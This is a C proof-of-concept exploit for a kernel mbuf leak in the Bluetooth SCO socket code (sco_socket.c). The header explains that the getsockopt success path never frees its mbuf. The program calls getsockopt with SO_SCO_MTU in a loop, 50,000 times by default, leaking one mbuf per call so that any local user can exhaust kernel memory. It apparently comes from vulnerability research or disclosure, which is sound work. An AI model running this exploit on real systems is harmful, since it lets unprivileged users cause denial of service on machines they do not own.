DF-0709 / sco_mbuf_leak.c
/* * DF-0709 PoC - sco_ctloutput PRCO_GETOPT mbuf leak (local DoS). * * Bug: sys/netbt/sco_socket.c:111-121 allocates an mbuf for the getsockopt * result via m_get() but never frees it on the success path. The inline * comment at :119 ("XXX There are possible memory leaks (Griffin)") flags it. * For SO_SCO_MTU, sco_getopt() returns sizeof(uint16_t)=2 (non-zero), so the * success path is taken every call -> one mbuf leaked per getsockopt(). * * Compare PRCO_SETOPT at :123-135 which does m_freem(m) at :134 -- GETOPT is * missing the equivalent free. * * Preconditions: Bluetooth stack loaded (kldload netbt.ko -- an admin action * taken to enable Bluetooth; once loaded ANY local user can trigger this). * * Build: cc -o sco_mbuf_leak sco_mbuf_leak.c * Run: ./sco_mbuf_leak [iterations] (default 50000) */ #include <sys/socket.h> #include <sys/types.h> #include <netbt/bluetooth.h> #include <netbt/sco.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 50000; int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); if (s < 0) { perror("socket(AF_BLUETOOTH,SOCK_SEQPACKET,BTPROTO_SCO)"); fprintf(stderr, "(is netbt.ko loaded? kldload netbt.ko as root)\n"); return 2; } uint16_t mtu = 0; socklen_t len = sizeof(mtu); long ok = 0, fail = 0; for (long i = 0; i < iters; i++) { len = sizeof(mtu); if (getsockopt(s, BTPROTO_SCO, SO_SCO_MTU, &mtu, &len) == 0) ok++; else fail++; } printf("iterations=%ld getsockopt_ok=%ld getsockopt_fail=%ld last_mtu=%u\n", iters, ok, fail, (unsigned)mtu); close(s); return (fail == iters) ? 3 : 0; } |